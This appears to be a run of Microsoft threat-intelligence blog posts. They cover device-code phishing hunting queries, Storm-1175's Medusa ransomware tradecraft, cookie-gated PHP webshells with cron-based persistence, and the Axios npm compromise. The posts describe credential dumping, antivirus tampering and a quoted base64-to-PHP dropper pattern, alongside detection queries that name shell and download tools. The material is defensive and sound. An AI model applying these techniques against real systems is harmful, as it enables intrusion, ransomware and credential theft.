    | where RiskLevelDuringSignin in (10, 50, 100)
    | extend AccountUpn = tolower(AccountUpn)
    | join kind=inner suspiciousUserClicks on AccountUpn
    | where (Timestamp - ClickTime) between (-2min .. 7min)
    | project Timestamp, ReportId, ClickTime, AccountUpn, RiskLevelDuringSignin, SessionId, IPAddress, Url

Monitor for suspicious Device Registration activities that follow the Device code phishing compromise.

CloudAppEvents
| where AccountDisplayName == "Device Registration Service"
| extend ApplicationId_ = tostring(ActivityObjects[0].ApplicationId)
| extend ServiceName_ = tostring(ActivityObjects[0].Name)
| extend DeviceName = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[1].NewValue)
| extend DeviceId = tostring(parse_json(tostring(parse_json(tostring(RawEventData.ModifiedProperties))[6].NewValue))[0])
| extend DeviceObjectId_ = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[0].NewValue)
| extend UserPrincipalName = tostring(RawEventData.ObjectId)
| project TimeGenerated, ServiceName_, DeviceName, DeviceId, DeviceObjectId_, UserPrincipalName

Surface suspicious inbox rule creation (using applications) that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType in ("New-InboxRule","Set-InboxRule","Set-Mailbox","Set-TransportRule","New-TransportRule","Enable-InboxRule","UpdateInboxRules")
| where isnotempty(IPAddress)
| mv-expand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
// we are extracting rule names that only contains special characters
| where RuleName matches regex "^[!@#$%^&*()_+={[}\\]|\\\\:;""'<,>.?/~` -]+$"

Surface suspicious email items accessed that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType == “MailItemsAccessed”
| where isnotempty(IPAddress)
| where UncommonForUser has "ISP"

Indicators of compromise (IOC)

References

• Storm-2372 conducts device code phishing campaign
• Microsoft Documentation – OAuth 2.0 device authorization grant flow
• Huntress – Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure
• Seqoia – New widespread EvilTokens kit: device code phishing as-a-service – Part 1

This research is provided by Microsoft Defender Security Research with contributions from Krithika Ramakrishnan, Ofir Mastor, Bharat Vaghela, Shivas Raina, Parasharan Raghavan, and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Inside an AI‑enabled device code phishing campaign appeared first on Microsoft Security Blog.

The financially motivated cybercriminal actor tracked by Microsoft Threat Intelligence as Storm-1175 operates high-velocity ransomware campaigns that weaponize N-days, targeting vulnerable, web-facing systems during the window between vulnerability disclosure and widespread patch adoption. Following successful exploitation, Storm-1175 rapidly moves from initial access to data exfiltration and deployment of Medusa ransomware, often within a few days and, in some cases, within 24 hours. The threat actor’s high operational tempo and proficiency in identifying exposed perimeter assets have proven successful, with recent intrusions heavily impacting healthcare organizations, as well as those in the education, professional services, and finance sectors in Australia, United Kingdom, and United States.

The pace of Storm-1175’s campaigns is enabled by the threat actor’s consistent use of recently disclosed vulnerabilities to obtain initial access. While the threat actor typically uses N-day vulnerabilities, we have also observed Storm-1175 leveraging zero-day exploits, in some cases a full week before public vulnerability disclosure. The threat actor has also been observed chaining together multiple exploits to enable post-compromise activity. After initial access, Storm-1175 establishes persistence by creating new user accounts, deploys various tools including remote monitoring and management software for lateral movement, conducts credential theft, and tampers with security solutions before deploying ransomware throughout the compromised environment.

In this blog post, we delve into the attack techniques attributed to Storm-1175 over several years. While Storm-1175’s methodology aligns with the tactics, techniques, and procedures (TTPs) of many tracked ransomware actors, analysis of their post-compromise tactics provides essential insights into how organizations can harden and defend against attackers like Storm-1175, informing opportunities to disrupt attackers even if they have gained initial access to a network.

Storm-1175’s rapid attack chain: From initial access to impact

Exploitation of vulnerable web-facing assets

Storm-1175 rapidly weaponizes recently disclosed vulnerabilities to obtain initial access. Since 2023, Microsoft Threat Intelligence has observed exploitation of over 16 vulnerabilities, including:

• CVE-2023-21529 (Microsoft Exchange)
• CVE-2023-27351 and CVE-2023-27350 (Papercut)
• CVE-2023-46805 and CVE-2024-21887 (Ivanti Connect Secure and Policy Secure)
• CVE-2024-1709 and CVE-2024-1708 (ConnectWise ScreenConnect)
• CVE-2024-27198 and CVE-2024-27199 (JetBrains TeamCity)
• CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728 (SimpleHelp)
• CVE‑2025‑31161 (CrushFTP)
• CVE-2025-10035 (GoAnywhere MFT)
• CVE-2025-52691 and CVE-2026-23760 (SmarterMail)
• CVE-2026-1731 (BeyondTrust)

Storm-1175 rotates exploits quickly during the time between disclosure and patch availability or adoption, taking advantage of the period where many organizations remain unprotected. In some cases, Storm-1175 has weaponized exploits for disclosed vulnerabilities in as little as one day, as was the case for CVE-2025-31324 impacting SAP NetWeaver: the security issue was disclosed on April 24, 2025, and we observed Storm-1175 exploitation soon after on April 25.

In multiple intrusions, Storm-1175 has chained together exploits to enable post-compromise activities like remote code execution (RCE). For example, in July 2023, Storm-1175 exploited two vulnerabilities affecting on-premises Microsoft Exchange Servers, dubbed “OWASSRF” by public researchers: exploitation of CVE‑2022‑41080 provided initial access by exposing Exchange PowerShell via Outlook Web Access (OWA), and Storm-1175 subsequently exploited CVE‑2022‑41082 to achieve remote code execution.

Storm-1175 has also demonstrated a capability for targeting Linux systems as well: in late 2024, Microsoft Threat Intelligence identified the exploitation of vulnerable Oracle WebLogic instances across multiple organizations, though we were unable to identify the exact vulnerability being exploited in these attacks.

Finally, we have also observed the use of at least three zero-day vulnerabilities including, most recently, CVE-2026-23760 in SmarterMail, which was exploited by Storm-1175 the week prior to public disclosure, and CVE-2025-10035 in GoAnywhere Managed File Transfer, also exploited one week before public disclosure. While these more recent attacks demonstrate an evolved development capability or new access to resources like exploit brokers for Storm-1175, it is worth noting that GoAnywhere MFT has previously been targeted by ransomware attackers, and that the SmarterMail vulnerability was reportedly similar to a previously disclosed flaw; these factors may have helped to facilitate subsequent zero-day exploitation activity by Storm-1175, who still primarily leverages N-day vulnerabilities. Regardless, as attackers increasingly become more adept at identifying new vulnerabilities, understanding your digital footprint—such as through the use of public scanning interfaces like Microsoft Defender External Attack Surface Management—is essential to defending against perimeter network attacks.

Covert persistence and lateral movement

During exploitation, Storm-1175 typically creates a web shell or drops a remote access payload to establish their initial hold in the environment. From this point, Microsoft Threat Intelligence has observed Storm-1175 moving from initial access to ransomware deployment in as little as one day, though many of the actor’s attacks have occurred over a period of five to six days.

On the initially compromised device, the threat actor often establishes persistence by creating a new user and adding that user to the administrators group:

From this account, Storm-1175 begins their reconnaissance and lateral movement activity. Storm-1175 has a rotation of tools to accomplish these subsequent attack stages. Most commonly, we observe the use of living-off-the-land binaries (LOLBins), including PowerShell and PsExec, followed by the use of Cloudflare tunnels (renamed to mimic legitimate binaries like conhost.exe) to move laterally over Remote Desktop Protocol (RDP) and deliver payloads to new devices. If RDP is not allowed in the environment, Storm-1175 has been observed using administrator privileges to modify the Windows Firewall policy to enable Remote Desktop.

Storm-1175 has also demonstrated a heavy reliance on remote monitoring and management (RMM) tools during post-compromise activity. Since 2023, Storm-1175 has used multiple RMMs, including:

• Atera RMM
• Level RMM
• N-able
• DWAgent
• MeshAgent
• ConnectWise ScreenConnect
• AnyDesk
• SimpleHelp

While often used by enterprise IT teams, these RMM tools have multi-pronged functionality that could also allow adversaries to maintain persistence in a compromised network, create new user accounts, enable an alternative command-and-control (C2) method, deliver additional payloads, or use as an interactive remote desktop session.

In many attacks, Storm-1175 relies on PDQ Deployer, a legitimate software deployment tool that lets system administrators silently install applications, for both lateral movement and payload delivery, including ransomware deployment throughout the network.

Additionally, Storm-1175 has leveraged Impacket for lateral movement. Impacket is a collection of open-source Python classes designed for working with network protocols, and it is popular with adversaries due to ease of use and wide range of capabilities. Microsoft Defender for Endpoint has a dedicated attack surface reduction rule to defend against lateral movement techniques used by Impacket: Block process creations originating from PSExec and WMI commands); protecting lateral movement pathways can also mitigate Impacket.

Credential theft

Impacket is further used to facilitate credential dumping through LSASS; the threat actor also leveraged the commodity credential theft tool Mimikatz in identified intrusions in 2025. Additionally, Storm-1175 has relied on known living-off-the-land techniques for stealing credentials, such as by modifying the registry entry UseLogonCredential to turn on WDigest credential caching, or using Task Manager to dump LSASS credentials; for both of these attack techniques, the threat actor must obtain local administrative privileges to modify these resources. The attack surface reduction rule block credential stealing from LSASS can limit the effectiveness of this type of attack, and—more broadly—limiting the use of local administrator rights by end users. Ensuring that local administrator passwords are not shared through the environment can also reduce the risk of these LSASS dumping techniques.

We have also observed that after gaining administrator credentials, Storm-1175 has used a script to recover passwords from Veeam backup software, which is used to connect to remote hosts, therefore enabling ransomware deployment to additional connected systems.

With sufficient privileges, Storm-1175 can then use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database which contains user data and passwords that can be cracked offline. This privileged position has also granted Storm-1175 access to the security account manager (SAM), which provides detailed configuration and security settings, enabling an attacker to understand and manipulate the system environment on a much wider scale.

Security tampering for ransomware delivery

Storm-1175 modifies the Microsoft Defender Antivirus settings stored in the registry to tamper with the antivirus software and prevent it from blocking ransomware payloads; in order to accomplish this, an attacker must have access to highly privileged accounts that can modify the registry directly. For this reason, prioritizing alerts related to credential theft activity, which typically indicate an active attacker in the environment, is essential to responding to ransomware signals and preventing attackers from gaining privileged account access.

Storm-1175 has also used encoded PowerShell commands to add the C:\ drive to the antivirus exclusion path, preventing the security solution from scanning the drive and allowing payloads to run without any alerts. Defenders can harden against these tampering techniques by combining tamper protection with the DisableLocalAdminMerge setting, which prevents attackers from using local administrator privileges to set antivirus exclusions.

Data exfiltration and ransomware deployment

Like other ransomware as a service (RaaS) offerings, Medusa offers a leak site to facilitate double extortion operations for its affiliates: attackers not only encrypt data, but steal the data and hold it for ransom, threatening to leak the files publicly if a ransom is not paid. To that aim, Storm-1175 often uses Bandizip to collect files and Rclone for data exfiltration. Data synchronization tools like Rclone allow threat actors to easily transfer large volumes of data to a remote attacker-owned cloud resource. These tools also provide data synchronization capabilities, moving newly created or updated files to cloud resources in real-time to enable continuous exfiltration throughout all stages of the attack without needing attacker interaction.

Finally, having gained sufficient access throughout the network, Storm-1175 frequently leverages PDQ Deployer to launch a script (RunFileCopy.cmd) and deliver Medusa ransomware payloads. In some cases, Storm-1175 has alternatively used highly privileged access to create a Group Policy update to broadly deploy ransomware.

Mitigation and protection guidance

To defend against Storm-1175 TTPs and similar activity, Microsoft recommends the following mitigation measures:

• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Follow the defending against ransomware guidance in Microsoft’s ransomware as a service blog post, which details how to build credential hygiene as well as how to limit lateral movement using the principle of least privilege.
• Implement Credential Guard, a critical security feature that protects credentials stored in process memory  – in the LSA process lsass.exe. Credential Guard is turned on by default in Windows 11. However, if Credential Guard was previously disabled on a device, updating a device to Windows 11 does not override that setting, and Credential Guard will need to be re-enabled. Additionally, Credential Guard should be enabled before a device is joined to a domain or before a domain user signs in for the first time. If Credential Guard is enabled after domain join, the user and device secrets may already be compromised. Credential Guard can be enabled using Group Policy, the registry, or Microsoft Intune.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.  
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in Troubleshooting mode to turn off Tamper Protection temporarily without impacting the wider organizational security policy. 
• For approved RMM systems used in your environment, enforce security settings where possible to implement MFA. If an unapproved RMM installation is discovered in your network, reset passwords for accounts used to install the RMM services. If a System-level account was used to install the software, further investigation may be warranted.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
  • Block execution of potentially obfuscated scripts
  • Block Webshell creation for Servers
  • Block process creations originating from PSExec and WMI commands (Some organizations might experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.)
  • Block execution of potentially obfuscated scripts
  • Block use of copied or impersonated system tools
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Storm-1175
• Tool profile: Medusa ransomware
• Threat overview profile: Human-operated ransomware  

Indicators of compromise

The following indicators are gathered from identified Storm-1175 attacks during 2026.

References

• Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)
• OWASSRF: CrowdStrike Identifies New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-1175 focuses gaze on vulnerable web-facing assets in high-tempo Medusa ransomware operations appeared first on Microsoft Security Blog.

Threat actors are increasingly abusing HTTP cookies as a control channel for PHP-based webshells on Linux servers. Instead of exposing command execution through URL parameters or request bodies, these webshells rely on threat actor-supplied cookie values to gate execution, pass instructions, and activate malicious functionality.

This approach reduces visibility by allowing malicious code to remain dormant during normal application behavior and execute only when specific cookie conditions are met. This technique has been observed across multiple execution contexts, including web requests, scheduled tasks, and trusted background workers.

The consistent use of cookies as a control mechanism suggests reuse of established webshell tradecraft. By shifting control logic into cookies, threat actors enable persistent post-compromise access that can evade many traditional inspection and logging controls.

Cookie-controlled execution behavior

Across the activity analyzed, HTTP cookies acted as the primary trigger for malicious execution. Instead of exposing functionality through visible URL parameters or request bodies, the webshell logic remained dormant unless specific cookie values were present. Only when those conditions were satisfied did the script reconstruct and execute threat actor–controlled behavior.

Threat actors likely prefer this approach because cookies blend into normal web traffic and often receive less scrutiny than request paths or payloads. In PHP, cookie values are immediately available at runtime, for example through the $_COOKIE superglobal, allowing malicious code to consume attacker-supplied input without additional parsing. By shifting execution control into cookies, the webshell can remain hidden in normal traffic, activating only during deliberate interactions. This reduces routine logging and inspection visibility while enabling persistent access without frequent changes to files on disk.

Observed variants of cookie-controlled PHP web shells

Although the core technique remained consistent across incidents, the PHP implementations varied in structure and complexity. The following examples illustrate how attackers adapted the same cookie-controlled execution model across different environments. 

Loader with execution gating and layered obfuscation

One observed implementation introduced an additional execution gate before processing any cookie input. The loader first evaluated request context and reconstructed core PHP functions dynamically using arithmetic operations and string manipulation. Sensitive function names were intentionally absent in cleartext, significantly reducing obvious indicators and complicating pattern-based detection. 

After the initial base64 decoding, the PHP script did not immediately reveal obvious command functionality. Instead, it exposed a second, deliberate layer of obfuscation. Critical operations were rebuilt programmatically at runtime, with function names and execution logic assembled character-by-character. This design ensured that meaningful behavior remained concealed until execution conditions were satisfied.

Only after these runtime checks passed did the script begin parsing structured cookie input. Cookie values were segmented and transformed into function identifiers, file paths, and decoding routines. If a secondary payload was not already present, the loader reconstructed it from encoded data, wrote it to a dynamically determined location, and transferred execution using ‘include’. 

This layered approach separated deployment, obfuscation, and activation into distinct stages. Under routine traffic, the file appeared inert. When supplied with deliberate attacker-controlled input, however, it transitioned into a fully functional execution framework.

Direct cookie-driven payload stager

Another observed implementation relied on structured cookie data without extensive preliminary gating. The script segmented cookie input to reconstruct operational components such as file handling and decoding functions. As with the previous loader, it conditionally wrote a secondary payload to disk and executed it if absent.

Although simpler in structure, this variant achieved the same objective: staged deployment and execution controlled by cookie values rather than visible request parameters.

Cookie-gated interactive webshell

A streamlined variant was also observed in which a single cookie value acts as an execution key. When the expected cookie condition is met, the script enables threat actor–controlled actions, including direct execution of supplied input and, in some cases, file upload. Unlike staged loader chains, this implementation operates within a single script and does not rely on a separate secondary payload written to disk.

In this design, cookies primarily serve as a validation mechanism rather than a payload container.

Observed attack flow: Persistence through scheduled tasks

During incident investigation, we analyzed a compromise in which the threat actor prioritized durable, low-noise persistence within a hosted Linux environment. After obtaining access to the victim’s hosting account, the threat actor used the platform’s legitimate management interface, such as a control panel workflow, to register a cron job. In environments that provide restricted shell access, for example via /usr/local/cpanel/bin/jailshell, authenticated users can execute commands within their account boundary, including registering or launching scheduled tasks. Because these actions follow normal administrative paths, they appear as routine account-level operations rather than overt system modifications.

In shared hosting scenarios, this level of access is typically equivalent to user-level control within the account’s isolated environment. While it does not indicate root-level compromise or control of the underlying server, it provides sufficient capability to modify web content, deploy PHP scripts, and schedule recurring execution through cron. These permissions are often enough to convert temporary access into persistent remote code execution within the hosted account.

As illustrated in the diagram, the cron job executed at regular intervals and invoked a shell routine that reconstructed an obfuscated PHP loader into a web-accessible location. This behavior was intentionally implemented to maintain persistence. If the loader was removed, the scheduled task recreated it on the next execution cycle. The job also applied restrictive file permissions, making manual modification or removal more difficult during incident response.

This “self-healing” mechanism, controlled by the threat actor, allowed the malicious file to reappear after cleanup attempts, complicating remediation and enabling a more stable foothold within the affected hosting account.

Once deployed, the PHP loader followed the same low-visibility pattern described earlier. It remained inactive during normal traffic and activated only when specific cookie conditions were met. On activation, it dynamically rebuilt functionality at runtime and transferred execution to threat actor–controlled logic. By separating persistence through cron-based re-creation from execution control through cookie-gated activation, the threat actor reduced operational noise and limited observable indicators in routine application logs.

Commonalities and delivery methods

Across the activity analyzed, a consistent operational pattern emerged. While individual implementations varied in structure, each relied on multi-layer obfuscation to conceal sensitive functionality and cookie-gated execution to control activation. Under routine traffic conditions, the scripts remained dormant. Only when specific cookie values were supplied did the malicious logic reconstruct and execute. Whether deployed as a staged loader or an interactive webshell, the objective remained consistent: controlled activation with minimal observable footprint.

The delivery mechanism followed a similarly deliberate design. In multiple environments, web-facing processes such as php-fpm spawned shell commands that reconstructed obfuscated PHP files using the recognizable echo | base64 -d > file.php pattern. In other cases, equivalent commands were executed within restricted shell environments, such as through cPanel jailshell, or established via scheduled tasks at the hosting account level.

Rather than relying on complex exploit chains, the threat actor leveraged legitimate execution paths already present in the environment, including web server processes, control panel components, and cron infrastructure, to stage and preserve malicious code. The repeated use of base64 reconstruction combined with multi-layer runtime obfuscation separated deployment, concealment, and activation into distinct phases. This layered design allowed the malicious code to blend into normal operational activity while maintaining reliable remote code execution.

Why persistence enables long-term remote code execution

In the attacks analyzed, persistence was deliberate, not incidental. Rather than depending on a single exploit or a short-lived foothold, the threat actor turned initial access into a repeatable mechanism for remote code execution (RCE). By combining scheduled tasks with obfuscated PHP loaders, they preserved the ability to execute code even after the original entry point was remediated or access paths were disrupted.

Persistent RCE provides long-term flexibility. It allows threat actors to return on demand to run additional commands, deploy follow-on payloads, alter application behavior, or pivot to other resources without repeatedly re-triggering the same exploit chain. This reduces operational risk and can limit the number of noisy intrusion attempts that might otherwise raise alerts.

In shared hosting environments, account-level access is often sufficient to create scheduled tasks, modify web content, and run arbitrary PHP within the affected site’s boundaries. When execution is further protected behind cookie-gated activation, the malicious logic can remain dormant during routine activity and activate only when the threat actor supplies the correct input. Over time, this durable access can support data theft, expansion to adjacent applications, or compromise of connected services, often with minimal visible disruption.

Mitigation and protection guidance 

Microsoft recommends the following mitigations to reduce the impact of PHP webshell–based compromises discussed in this report. These recommendations build on established guidance from previous Microsoft Defender research and align with protections available across Microsoft Defender XDR to help organizations prevent, detect, and respond to post-compromise web shell activity targeting web servers and application workloads. 

Strengthen Hosting Account Security 
Enforce multi-factor authentication for hosting control panels, SSH access, and administrative interfaces. Monitor for unusual login activity, particularly from unfamiliar IP addresses or geographies, as compromised account credentials are often sufficient to deploy webshells and create persistence mechanisms. 

Restrict Web Server Process Execution 
Limit the ability of web‑facing services such as php‑fpm or application worker workloads to spawn shell processes. Restrict the execution of shell interpreters (sh, bash, dash) and commonly abused encoding or file ingress utilities such as base64, curl, and wget from web server execution contexts unless they are explicitly required by the application.  

Advanced Hunting can be used to surface cases where web server workloads spawn shell interpreters or execute encoded or file‑retrieval commands, as these patterns provide high‑signal indicators of webshell execution and command injection attempts. 

Audit and Monitor Scheduled Tasks 
Regularly review account‑level cron jobs and scheduled tasks across web servers and application hosts. Unexpected entries that invoke shell commands or write files into web‑accessible directories may indicate persistence mechanisms used to deploy, restore, or re‑activate malicious webshell loaders.  

Advanced Hunting can be used to identify cron‑initiated execution patterns, including unusually short execution intervals (for example, recurring one‑minute jobs) and command lines associated with file creation, script execution, encoding utilities, or file ingress tools. These behaviours are commonly observed during web shell persistence and recovery activity following initial compromise 

Inspect Suspicious File Creation in Web Directories 
Focus on suspicious content deployment into web directories by monitoring the command‑line techniques used to write or retrieve files, rather than relying on file creation telemetry alone. Attackers frequently deploy PHP web shells by decoding obfuscated payloads inline (for example, using echo piped to base64 -d with output redirection) or by downloading scripts via file ingress tools such as curl or wget from web server or application execution contexts.  

Advanced Hunting can be used to identify these behaviors by querying process execution events for decoding pipelines, redirection operators, or network retrieval utilities associated with web-facing workloads, providing high‑signal visibility into webshell deployment activity. 

Limit Control Panel Shell Capabilities 
Where hosting control panels are used, restrict or disable shell access such as jailshell wherever possible. If shell access is required, enforce strict access controls and closely monitor command execution to reduce the risk of attackers abusing these environments to deploy or interact with malicious PHP loaders and webshells.

Advanced hunting queries that track command execution from control panel restricted shells can help identify abuse patterns in which attackers leverage legitimate hosting features to maintain access or execute post-compromise tooling. 

Microsoft recommends the following mitigations to reduce the impact of this threat in Linux environments protected by Microsoft Defender for Endpoint: 

• Enable cloud-delivered protection in Microsoft Defender for Endpoint on Linux or the equivalent capability in your antivirus solution. Cloud-based protection helps rapidly detect and block emerging attacker tools, including newly deployed PHP webshells and post-compromise scripts that may evade traditional signature-based detection. 

• Ensure real-time protection is enabled on Linux servers to continuously scan files written to disk, including web directories commonly targeted during PHP web shell deployment (such as /var/www, application upload paths, and temporary directories). 

• Enable behaviour monitoring to detect suspicious runtime activity associated with webshell abuse, such as anomalous child processes spawned by web server processes, execution of system utilities from PHP interpreters, credential access attempts, or data staging and exfiltration behaviours.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. Security teams can leverage Copilot to assist with the analysis and interpretation of obfuscated or heavily encoded scripts, helping accelerate triage and improve understanding of attacker tradecraft during web shell and post-compromise investigations. 

Microsoft Security Copilot prompts

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation   

• Microsoft User analysis   

• Threat actor profile   

• Threat Intelligence 360 report based on MDTI article   

• Vulnerability impact assessment   

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR threat analytics

Advanced Hunting queries    

Web Server Spawning Shell 

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, InitiatingProcessCommandLine, 
          FileName, ProcessCommandLine, FolderPath 
| order by Timestamp desc 

Base64 Decode Writing PHP File 

DeviceProcessEvents 
| where FileName in~ ("bash", "sh", "dash", "jailshell") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          ProcessCommandLine, 
          InitiatingProcessFileName, 
          InitiatingProcessCommandLine 
| order by Timestamp desc 

tee Writing PHP Files

DeviceProcessEvents 
| where ProcessCommandLine has "tee" 
| where ProcessCommandLine has ".php" 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc 

cPanel / jailshell Abuse

DeviceProcessEvents 
| where FileName in~ ("jailshell", "cpanel") 
| project Timestamp, DeviceName, AccountName, 
          FileName, ProcessCommandLine, 
          InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

High-Risk Combined Pattern

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("php-fpm", "httpd", "apache2", "nginx", "cron", "crond") 
| where ProcessCommandLine has "base64" 
| where ProcessCommandLine has_any (".php", "public_html", "vendor") 
| project Timestamp, DeviceName, AccountName, 
          InitiatingProcessFileName, 
          ProcessCommandLine 
| order by Timestamp desc

Unexpected Shell from Backend Workers

DeviceProcessEvents 
| where InitiatingProcessCommandLine has_any ("artisan", "queue:work", "fwconsole") 
| where FileName in~ ("bash", "sh", "dash") 
| project Timestamp, DeviceName, 
          InitiatingProcessCommandLine, 
          ProcessCommandLine 
| order by Timestamp desc 

Repeated Execution Pattern (1-Minute Cron)

DeviceProcessEvents 
| where InitiatingProcessFileName in~ ("cron", "crond") 
| summarize count() by DeviceName, ProcessCommandLine, bin(Timestamp, 1m) 
| where count_ > 10 
| order by count_ desc

MITRE ATT&CK™ Techniques observed

This campaign exhibited the following MITRE ATT&CK™ techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR Detections section below. 

References

• Microsoft Security Blog – Ghost in the Shell: Investigating Web Shell Attacks 
  http://approjects.co.za/?big=en-us/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/  

• Gigamon – Investigating Web Shells 
  https://blog.gigamon.com/2022/09/28/investigating-web-shells/  

• Imperva – What Is a Web Shell? 
  https://www.imperva.com/learn/application-security/web-shell/  

• Acunetix – An Introduction to Web Shells 
  https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/  

This research is provided by Microsoft Defender Security Research with contributions from Yashashree Gund and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Cookie-controlled PHP webshells: A stealthy tradecraft in Linux hosting environments appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.
